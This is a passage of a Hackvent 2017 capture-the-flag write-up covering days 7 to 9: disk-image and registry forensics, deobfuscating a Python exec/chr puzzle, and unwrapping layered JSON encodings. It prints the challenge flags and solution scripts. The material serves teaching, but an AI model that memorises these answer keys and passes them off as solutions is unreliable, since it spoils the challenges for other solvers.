class=\"spanFlag\">HV17-eCFw-J4xX-buy3-8pzG-kd3M<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day07\">Day 07: i know &#8230;<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: HaRdLoCk<\/span><br \/>\n<i>&#8230; what you did last xmas<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">We were able to steal a file from santas computer. We are sure, he prepared a gift and there are traces for it in this file.<\/p>\n<p>Please help us to recover it: <span style=\"color:#888888;text-decoration:underline;\">Download<\/span><\/td>\n<\/tr>\n<\/table>\n<p>The challenge provided a file called <code>SANTA.FILE<\/code>. I started by analysing it with the file tool:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# file SANTA.FILE \r\nSANTA.FILE: Zip archive data, at least v1.0 to extract\r\n<\/pre>\n<p>So we have got a zip-archive here. Let&#8217;s extract it:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# unzip SANTA.FILE \r\nArchive:  SANTA.FILE\r\n  inflating: SANTA.IMA  \r\n<\/pre>\n<p>The archive contains a file called <code>SANTA.IMA<\/code>. Yet again use file:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# file SANTA.IMA \r\nSANTA.IMA: DOS\/MBR boot sector, code offset 0x58+2, OEM-ID &amp;amp;amp;amp;quot;WINIMAGE&amp;amp;amp;amp;quot;, sectors\/cluster 4, root entries 16, sectors 3360 (volumes &amp;amp;amp;amp;lt;=32 MB), sectors\/FAT 3, sectors\/track 21, serial number 0x2b523d5, label: &amp;amp;amp;amp;quot;           &amp;amp;amp;amp;quot;, FAT (12 bit), followed by FAT\r\n<\/pre>\n<p>This file seems to be a DOS-partition. My first lucky guess was to use strings and grep for a flag:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# strings SANTA.IMA | grep HV17 \r\nY*C:\\Hackvent\\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe\r\n<\/pre>\n<p>Woohoo! We already got the flag.<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-UCyz-0yEU-d90O-vSqS-Sd64<\/span><\/code>.<\/p>\n<p><u>Further thoughts:<\/u><\/p>\n<p>The file <code>SANTA.IMA<\/code> is a mountable DOS-partition which can be mounted with the mount tool:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# mkdir \/tmp\/santa\r\nuser@host:~# mount SANTA.IMA \/tmp\/santa\/\r\n<\/pre>\n<p>Let&#8217;s have a look at the content of the mounted partition:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# cd \/tmp\/santa\r\nuser@host:~# ls -al\r\ntotal 774\r\ndrwxr-xr-x  2 root root    512 Jan  1  1970 .\r\ndrwxrwxrwt 19 root root   4096 Dec 13 15:44 ..\r\n-rwxr-xr-x  1 root root 786432 Nov 14 09:16 SANTA.PRIV\r\n<\/pre>\n<p>There is a file called <code>SANTA.PRIV<\/code>. File again:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# file SANTA.PRIV\r\nSANTA.PRIV: MS Windows registry file, NT\/2000 or above\r\n<\/pre>\n<p>So this seems to be a windows registry file. The strings way works again:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# strings SANTA.PRIV | grep HV17\r\nY*C:\\Hackvent\\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe\r\n<\/pre>\n<p>I further tried to analyze the file with <code>regripper<\/code> which generated a report-file also containing the flag:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# cat report.txt | grep -C3 HV17\r\nTue Nov 14 07:09:10 2017 Z\r\n  Microsoft.Windows.Explorer (6)\r\nTue Nov 14 07:09:03 2017 Z\r\n  C:\\Hackvent\\HV17-UCyz-0yEU-d90O-vSqS-Sd64.exe (1)\r\nTue Nov 14 07:08:49 2017 Z\r\n  Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge (1)\r\nTue Nov 14 07:08:45 2017 Z\r\n<\/pre>\n<hr \/>\n<h1 id=\"day08\">Day 08: True 1337s<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: pyth0n33<\/span><br \/>\n<i>&#8230; can read this instantly<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">I found this obfuscated code on a public FTP-Server. But I don&#8217;t understand what it&#8217;s doing&#8230;<\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">Download<\/span><\/td>\n<\/tr>\n<\/table>\n<p>The challenge provides a file called <code>True.1337<\/code>, which is an ASCII-file containing two different parts.<\/p>\n<p>The first part &#8220;True&#8221;:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nexec(chr(True+True+True+True+True+True+True+True+True+True)+chr(True+True+True+True+True+ ...))\r\n<\/pre>\n<p>The second part &#8220;1337&#8221;:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n__1337(_1337(1337+1337+1337+1337+1337+1337+1337+1337+1337+1337)+_1337(1337+1337+1337+ ...))\r\n<\/pre>\n<p>This seems to be python-code. The first part calls the <code>exec<\/code> function, which executes the given string. In this case the string passed to <code>exec<\/code> is concatenated by subsequent calls to the <code>chr<\/code> function, which returns a single character for the given ascii-value. The value passed to <code>chr<\/code> is composed of a lot of <code>Trues<\/code>, which are added together. Interpreted as a number <code>True<\/code> equals <code>1<\/code>. Thus the value passed to <code>chr<\/code> matches the count of <code>Trues<\/code> given to <code>chr<\/code>. The second part also makes some nested calls, but we don&#8217;t know yet how the functions <code>__1337<\/code> and <code>_1337<\/code> are defined.<\/p>\n<p>Let&#8217;s begin with the first part. It&#8217;s constructed like this:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nexec(STRING)\r\nSTRING = chr(ASCII_1) + chr(ASCII_2) + chr(ASCII_3) + ...\r\nASCII_1 = True + True + True ... = 1 + 1 + 1 + ... = 10 = 0x0A (ASCII '\\n')\r\nASCII_2 = True + True + True ... = 1 + 1 + 1 + ... = 61 = 0x41 (ASCII 'A')\r\n<\/pre>\n<p>A tiny python-script can print what the first part does:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\n# OPEN CHALLENGE FILE\r\nf = open(&amp;amp;amp;amp;quot;True.1337&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;r&amp;amp;amp;amp;quot;)\r\ncontent = f.read()\r\n\r\n# EXTRACT TRUE-PART\r\ntruePart = content&#x5B;5:content.find(&amp;amp;amp;amp;quot;True))&amp;amp;amp;amp;quot;)+5]\r\nexec(&amp;amp;amp;amp;quot;trueOutput=&amp;amp;amp;amp;quot;+truePart)\r\n\r\n# TRUE-PART EVALUATES TO THE FOLLOWING OUTPUT\r\nprint(trueOutput)\r\n<\/pre>\n<p>The script outputs the string, which is passed to exec in the challenge-file:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nA=chr;__1337=exec;SANTA=input;FUN=print\r\ndef _1337(B):return A(B\/\/1337)\r\n<\/pre>\n<p>At this stage we know how the functions of the second part are defined. <code>__1337<\/code> is just a synonym for <code>exec<\/code> and <code>_1337<\/code> takes one argument, divides it by <cod>1337<\/code> and returns the corresponding character (<code>A=chr;<\/code>).<\/p>\n<p>We extend the python-script to define the functions as declared in the first part and output the second part:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n#DEFINE FUNCTION _1337 (2ND LINE FROM OUTPUT OF FIRST PART)\r\ndef __1337(B): return chr(B\/\/1337)\r\n\r\n# EXTRACT 1337-PART\r\npart1337 = content&#x5B;content.find(&amp;amp;amp;amp;quot;__1337(&amp;amp;amp;amp;quot;)+7:-1]\r\nexec(&amp;amp;amp;amp;quot;output1337=&amp;amp;amp;amp;quot;+part1337)\r\n\r\n# REPLACE FUNCTION-NAMES (1ST LINE FROM OUTPUT OF FIRST PART)\r\nfinalProg = output1337.replace(&amp;amp;amp;amp;quot;SANTA&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;input&amp;amp;amp;amp;quot;).replace(&amp;amp;amp;amp;quot;FUN&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;print&amp;amp;amp;amp;quot;)\r\nprint(finalProg)\r\n<\/pre>\n<p>This outputs the second part:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nC=input(&amp;amp;amp;amp;quot;?&amp;amp;amp;amp;quot;)\r\nif C==&amp;amp;amp;amp;quot;1787569&amp;amp;amp;amp;quot;:print(''.join(chr(ord(a) ^ ord(b)) for a,b in zip(&amp;amp;amp;amp;quot;... &amp;amp;amp;amp;lt;binary data&amp;amp;amp;amp;gt; ...&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;31415926535897932384626433832&amp;amp;amp;amp;quot;)))\r\n<\/pre>\n<p>The program prompts the user to enter an input, stored in the variable <code>C<\/code>. The flag seems the be encoded using <code>XOR<\/code> and will be printed if we input <code>\"1787569\"<\/code> for <code>C<\/code>. Thus we now can run the final program with the following extension to our script:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\nexec(finalProg)\r\n<\/pre>\n<p>And just enter <code>\"1787569\"<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n?&amp;amp;amp;amp;quot;1787569&amp;amp;amp;amp;quot;\r\nHV17-th1s-ju5t-l1k3-j5sf-uck!\r\n<\/pre>\n<p>Notice the embracing <code>\"<\/code> around the number! The comparison in the final program is a string-comparison. If we just enter <code>1787569<\/code> the input function interprets our input as an integer and the comparison fails.<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-th1s-ju5t-l1k3-j5sf-uck!<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day09\">Day 09: JSONion<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/medium_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: inik<\/span><br \/>\n<i><\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">&#8230; is not really an onion. Peel it and find the flag. <span style=\"color:#888888;text-decoration:underline;\">Download<\/span><\/td>\n<\/tr>\n<\/table>\n<p>The challenge provides a zip-archive which contains a quite big JSON-file (~1.5M):<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# cat jsonion.json | cut -b 1-300 \r\n&#x5B;{&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;:&amp;amp;amp;amp;quot;map&amp;amp;amp;amp;quot;,&amp;amp;amp;amp;quot;mapTo&amp;amp;amp;amp;quot;:&amp;amp;amp;amp;quot;&#x5B;{\\&amp;amp;amp;amp;quot;op:gzi,cnteH4sIADSTXjNal\\\\\\\/8d9wCByr30Qh+FYPxvqVUOWR7f56Zb21kuJGKmLEM=}]&amp;amp;amp;amp;quot;,&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;:&amp;amp;amp;amp;quot;\\\/8ge+gugqP5+glgze:K2:KgugFis\\&amp;amp;amp;amp;quot;MMMMMMMMMonzJU2ps\\\\{S6NvsmOk]ZIn}h}oM\\&amp;amp;amp;amp;quot;p\\&amp;amp;amp;amp;quot;L\\&amp;amp;amp;amp;quot;RYXqFqB5ZCWM4]C4+fOvFXDXW{Y==jSsqhJThsX0VW&#x5B;W6N6NhWbb&#x5B;W6N6N3W6NUFiP6N6NxJhTbS:a{iW6Nn2m3D3XvKfz=JT3}UXb{xSbG4Vib5V\r\n<\/pre>\n<p>At first sight the defined JSON-object consists of an array which contains a dict. Let&#8217;s parse the JSON-file with python and have a closer look at it:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\nimport json\r\n\r\nf = open(&amp;amp;amp;amp;quot;jsonion.json&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;r&amp;amp;amp;amp;quot;)\r\njs = f.read()\r\nf.close()\r\ndata = json.loads(js)\r\n\r\nprint(&amp;amp;amp;amp;quot;len = &amp;amp;amp;amp;quot; + str(len(data)))\r\nprint(&amp;amp;amp;amp;quot;keys = &amp;amp;amp;amp;quot; + str(data&#x5B;0].keys()))\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# .\/parseJSON.py \r\nlen = 1\r\nkeys = &#x5B;u'content', u'mapFrom', u'mapTo', u'op']\r\n<\/pre>\n<p>So the array holds one dict with the keys <code>op<\/code>, <code>content<\/code>, <code>mapFrom<\/code> and <code>mapTo<\/code>.<\/p>\n<p>As we have already seen at first glance the value of <code>op<\/code> is <code>map<\/code>. <code>mapFrom<\/code> and <code>mapTo<\/code> contain different strings which seem to be a concatenation of unassociated characters. <code>content<\/code> holds a very large string.<\/p>\n<p>According to the challenge description we have to peel the not-so-real onion in order to get the flag. Because of the names of the entries in the dict it seems likely that <code>op<\/code> defines an operation we have to run on the value of <code>content<\/code>.<\/p>\n<p>The operation <code>map<\/code> and the two keys <code>mapFrom<\/code> and <code>mapTo<\/code> suggest that every character in the string defined by <code>content<\/code> has to be looked up in <code>mapFrom<\/code> and than be changed with to corresponding character in <code>mapTo<\/code> based on its index in <code>mapFrom<\/code>.<\/p>\n<p>The following python-script creates a dict which maps every character from <code>mapFrom<\/code> to the character with the same index in <code>mapTo<\/code>, applies this replacement on <code>content<\/code> and writes the result in a new file:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nmyMap = {}\r\nfor i in range(len(data&#x5B;0]&#x5B;&amp;amp;amp;amp;quot;mapFrom&amp;amp;amp;amp;quot;])):\r\n  myMap&#x5B;data&#x5B;0]&#x5B;&amp;amp;amp;amp;quot;mapFrom&amp;amp;amp;amp;quot;]&#x5B;i]] = data&#x5B;0]&#x5B;&amp;amp;amp;amp;quot;mapTo&amp;amp;amp;amp;quot;]&#x5B;i]\r\n\r\nf = open(&amp;amp;amp;amp;quot;jsonion1.json&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;w&amp;amp;amp;amp;quot;)\r\nf.write(&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;.join(myMap.get(ch, ch) for ch in data&#x5B;0]&#x5B;&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;]))\r\nf.close()\r\n<\/pre>\n<p>After running the script the newly created file contains &#8230;<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# cat jsonion1.json | cut -b 1-100\r\n&#x5B;{&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;:&amp;amp;amp;amp;quot;gzip&amp;amp;amp;amp;quot;,&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;:&amp;amp;amp;amp;quot;H4sIAAAAAAAAADScTXejsNal\\\/8sd9wCBySr3rDAIjI0IQh+gHgFiBYPAxCYxpv98H+q+PahVVU\r\n<\/pre>\n<p>&#8230; yet another JSON-object!<\/p>\n<p>Now the operation is called <code>gzip<\/code> and the only other key is our already known <code>content<\/code>.<\/p>\n<p>After defining a python function to execute the <code>gzip<\/code> operation yet another JSON-object can be revealed which contains an operation called <code>b64<\/code>.<\/p>\n<p>At this stage I decided to create a loop to:<br \/>\n(1) grab the operation (<code>op<\/code>)<br \/>\n(2) grab additional values if existing (e.g. with <code>map<\/code>: <code>mapFrom<\/code>, <code>mapTo<\/code>)<br \/>\n(3) execute the corresponding python-function to reveal the next JSON-object<br \/>\n(4) take the JSON-object and go back to (1)<\/p>\n<p>If the operation was not yet known the python-script stopped, I added the new operation and rerun the script.<\/p>\n<p>Doing this revealed the following operations:<\/p>\n<table>\n<tr style=\"background-color:#cccccc;font-weight:bold;\">\n<td>op<\/td>\n<td>keys<\/td>\n<td>what needs to be done<\/td>\n<\/tr>\n<tr>\n<td>map<\/td>\n<td>content, mapFrom, mapTo<\/td>\n<td>lookup index of every character from <code>content<\/code> in <code>mapFrom<\/code> and replace this character in <code>content<\/code> with the character with the same index in <code>mapTo<\/code><\/td>\n<\/tr>\n<tr>\n<td>gzip<\/td>\n<td>content<\/td>\n<td>decompress the content using <code>gzip<\/code><\/td>\n<\/tr>\n<tr>\n<td>b64<\/td>\n<td>content<\/td>\n<td>decode the content using <code>base64<\/code><\/td>\n<\/tr>\n<tr>\n<td>nul<\/td>\n<td>content<\/td>\n<td>just interpretate content as a new JSON-object<\/td>\n<\/tr>\n<tr>\n<td>xor<\/td>\n<td>content, mask<\/td>\n<td>xor every character in <code>content<\/code> with <code>mask<\/code><\/td>\n<\/tr>\n<tr>\n<td>rev<\/td>\n<td>content<\/td>\n<td>read <code>content<\/code> in reverse<\/td>\n<\/tr>\n<tr>\n<td>flag<\/td>\n<td>content<\/td>\n<td><code>content<\/code> (may) contain the flag!<\/td>\n<\/tr>\n<\/table>\n<p>Running the adapted pyton-script resulted in the following output:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# .\/parseJSON\r\n#\top\r\n-------------\r\n0\tmap\r\n1\tgzip\r\n2\tb64\r\n3\tgzip\r\n4\tmap\r\n5\tmap\r\n6\tnul\r\n...\r\n77\txor\r\n78\tb64\r\n79\tb64\r\n80\tb64\r\n81\tflag\r\nTHIS-ISNO-THEF-LAGR-EALL-Y...\r\n<\/pre>\n<p>Ouh? The onion has been peeled completely just to get <code>\"THIS-ISNO-THEF-LAGR-EALL-Y...\"<\/code>?<\/p>\n<p>Seems that the real flag has to be somewhere else. My first assumption was that there might be an additional key in one of the JSON-objects. So I added an output for all keys:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# .\/parseJSON\r\n#\top\tkeys\r\n----------------------------------------\r\n0\tmap\tcontent,mapFrom,mapTo,op\r\n1\tgzip\tcontent,op\r\n2\tb64\tcontent,op\r\n3\tgzip\tcontent,op\r\n4\tmap\tcontent,mapFrom,mapTo,op\r\n5\tmap\tcontent,mapFrom,mapTo,op\r\n6\tnul\tcontent,op\r\n...\r\n77\txor\tcontent,mask,op\r\n78\tb64\tcontent,op\r\n79\tb64\tcontent,op\r\n80\tb64\tcontent,op\r\n81\tflag\tcontent,op\r\nTHIS-ISNO-THEF-LAGR-EALL-Y...\r\n<\/pre>\n<p>Hm, nothing suspicious here. After thinking it all over for a while I thought that there might be an additional JSON-object within the outer array. Formerly I accessed the JSON-object only with <code>data[0]<\/code>, but what if there&#8217;s a <code>data[1]<\/code>? Let&#8217;s add yet another output for the length of the array:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# .\/parseJSON\r\n#\top\tlen\r\n-------------------\r\n0\tmap\t1\r\n1\tgzip\t1\r\n...\r\n70\tb64\t1\r\n71\tnul\t1\r\n72\tmap\t1\r\n73\txor\t2\r\n74\tb64\t1\r\n75\trev\t1\r\n76\tnul\t1\r\n77\txor\t1\r\n78\tb64\t1\r\n79\tb64\t1\r\n80\tb64\t1\r\n81\tflag\t1\r\nTHIS-ISNO-THEF-LAGR-EALL-Y...\r\n<\/pre>\n<p>There it is! There is another JSON-object within the 73th outer array. That&#8217;s what must to be meant with the hint <i>&#8230; is not really an onion<\/i>. Having a first look at this object revealed that this is another JSON-object in the format we already know. Thus I just added a condition and an index to choose the right direction:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\njsonIdx = 0\r\n...\r\nif(len(data) &amp;amp;amp;amp;gt; 1): jsonIdx = 1\r\n...\r\n# access JSON-object with data&#x5B;jsonIdx]\r\n<\/pre>\n<p>Rerunning the script:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# .\/parseJSON\r\n#\top\tlen\r\n-------------------\r\n0\tmap\t1\r\n1\tgzip\t1\r\n2\tb64\t1\r\n...\r\n72\tmap\t1\r\n73\txor\t2\r\n74\txor\t1\r\n75\trev\t1\r\n76\tnul\t1\r\n77\txor\t1\r\n78\trev\t1\r\n79\trev\t1\r\n80\tb64\t1\r\n81\trev\t1\r\n82\tb64\t1\r\n83\tb64\t1\r\n84\tnul\t1\r\n85\trev\t1\r\n86\trev\t1\r\n87\tb64\t1\r\n88\tmap\t1\r\n89\tb64\t1\r\n90\txor\t1\r\n91\tb64\t1\r\n92\tb64\t1\r\n93\tflag\t1\r\nHV17-Ip11-9CaB-JvCf-d5Nq-ffyi\r\n<\/pre>\n<p>Done! Really great challenge!<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-Ip11-9CaB-JvCf-d5Nq-ffyi<\/span><\/code>.<\/p>\n<p>The final-python script I used (the original JSON-file has been renamed from <code>jsonion.json<\/code> to <code>jsonion0.json<\/code>):<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\nimport json\r\nimport sys\r\nimport base64\r\nimport gzip\r\nimport binascii\r\n\r\nidx = 0\r\n\r\nprint(&amp;amp;amp;amp;quot;#\\top\\tlen\\tkeys&amp;amp;amp;amp;quot;)\r\nprint(&amp;amp;amp;amp;quot;--------------------------------------&amp;amp;amp;amp;quot;)\r\n\r\nwhile True:\r\n\r\n  jsonIdx = 0\r\n\r\n  # READ JSON FILE\r\n  f = open(&amp;amp;amp;amp;quot;jsonion&amp;amp;amp;amp;quot;+str(idx)+&amp;amp;amp;amp;quot;.json&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;r&amp;amp;amp;amp;quot;)\r\n  j = f.read()\r\n  f.close()\r\n  data = json.loads(j)\r\n\r\n  # ++++++++++++ OPERATIONS ++++++++++++\r\n\r\n  print(str(idx) + &amp;amp;amp;amp;quot;\\t&amp;amp;amp;amp;quot; + data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;]+&amp;amp;amp;amp;quot;\\t&amp;amp;amp;amp;quot;+ str(len(data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;])) + &amp;amp;amp;amp;quot;\\t&amp;amp;amp;amp;quot; + &amp;amp;amp;amp;quot;,&amp;amp;amp;amp;quot;.join(data&#x5B;jsonIdx]))\r\n\r\n  idx += 1\r\n  if(len(data) &amp;amp;amp;amp;gt; 1): jsonIdx = 1\r\n\r\n\r\n  # MAP\r\n  if (data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;] == u&amp;amp;amp;amp;quot;map&amp;amp;amp;amp;quot;):\r\n    myMap = {}\r\n    for i in range(len(data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;mapFrom&amp;amp;amp;amp;quot;])):\r\n      myMap&#x5B;data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;mapFrom&amp;amp;amp;amp;quot;]&#x5B;i]] = data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;mapTo&amp;amp;amp;amp;quot;]&#x5B;i]\r\n\r\n    f = open(&amp;amp;amp;amp;quot;jsonion&amp;amp;amp;amp;quot;+str(idx)+&amp;amp;amp;amp;quot;.json&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;w&amp;amp;amp;amp;quot;)\r\n    f.write(&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;.join(myMap.get(ch, ch) for ch in data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;]))\r\n    f.close()\r\n\r\n\r\n  # GZIP\r\n  elif (data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;] == u&amp;amp;amp;amp;quot;gzip&amp;amp;amp;amp;quot;):\r\n    fgzip = open(&amp;amp;amp;amp;quot;json_tmp.gzip&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;w&amp;amp;amp;amp;quot;)\r\n    fgzip.write(base64.b64decode(data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;]))\r\n    fgzip.close()\r\n\r\n    fgzip = gzip.open(&amp;amp;amp;amp;quot;json_tmp.gzip&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;rb&amp;amp;amp;amp;quot;)\r\n    f = open(&amp;amp;amp;amp;quot;jsonion&amp;amp;amp;amp;quot;+str(idx)+&amp;amp;amp;amp;quot;.json&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;w&amp;amp;amp;amp;quot;)\r\n    f.write(fgzip.read())\r\n    f.close()\r\n    fgzip.close()\r\n\r\n\r\n  # BASE64\r\n  elif (data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;] == u&amp;amp;amp;amp;quot;b64&amp;amp;amp;amp;quot;):\r\n    f = open(&amp;amp;amp;amp;quot;jsonion&amp;amp;amp;amp;quot;+str(idx)+&amp;amp;amp;amp;quot;.json&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;w&amp;amp;amp;amp;quot;)\r\n    f.write(base64.b64decode(data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;]))\r\n    f.close()\r\n\r\n  # NUL\r\n  elif (data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;] == u&amp;amp;amp;amp;quot;nul&amp;amp;amp;amp;quot;):\r\n    f = open(&amp;amp;amp;amp;quot;jsonion&amp;amp;amp;amp;quot;+str(idx)+&amp;amp;amp;amp;quot;.json&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;w&amp;amp;amp;amp;quot;)\r\n    f.write(data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;])\r\n    f.close()\r\n\r\n  # XOR\r\n  elif (data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;] == u&amp;amp;amp;amp;quot;xor&amp;amp;amp;amp;quot;):\r\n    mask = ord(base64.b64decode(data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;mask&amp;amp;amp;amp;quot;]))\r\n    contentBinary = base64.b64decode(data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;])\r\n    newContent = &#x5B;0] * len(contentBinary)\r\n    for i in range(len(newContent)):\r\n      newContent&#x5B;i] = chr(ord(contentBinary&#x5B;i]) ^ mask)\r\n    f = open(&amp;amp;amp;amp;quot;jsonion&amp;amp;amp;amp;quot;+str(idx)+&amp;amp;amp;amp;quot;.json&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;w&amp;amp;amp;amp;quot;)\r\n    f.write(&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;.join(newContent))\r\n    f.close()\r\n\r\n  # REV\r\n  elif (data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;] == u&amp;amp;amp;amp;quot;rev&amp;amp;amp;amp;quot;):\r\n    f = open(&amp;amp;amp;amp;quot;jsonion&amp;amp;amp;amp;quot;+str(idx)+&amp;amp;amp;amp;quot;.json&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;w&amp;amp;amp;amp;quot;)\r\n    f.write(data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;]&#x5B;::-1])\r\n    f.close()\r\n\r\n  # FLAG\r\n  elif (data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;] == u&amp;amp;amp;amp;quot;flag&amp;amp;amp;amp;quot;):\r\n    print(data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;content&amp;amp;amp;amp;quot;])\r\n    quit()\r\n\r\n\r\n  # UNKNOWN OP\r\n  else:\r\n    print(&amp;amp;amp;amp;quot;unknown op:&amp;amp;amp;amp;quot; + data&#x5B;jsonIdx]&#x5B;&amp;amp;amp;amp;quot;op&amp;amp;amp;amp;quot;])\r\n    quit()\r\n<\/pre>\n<hr \/>\n<h1 id=\"day10\">Day 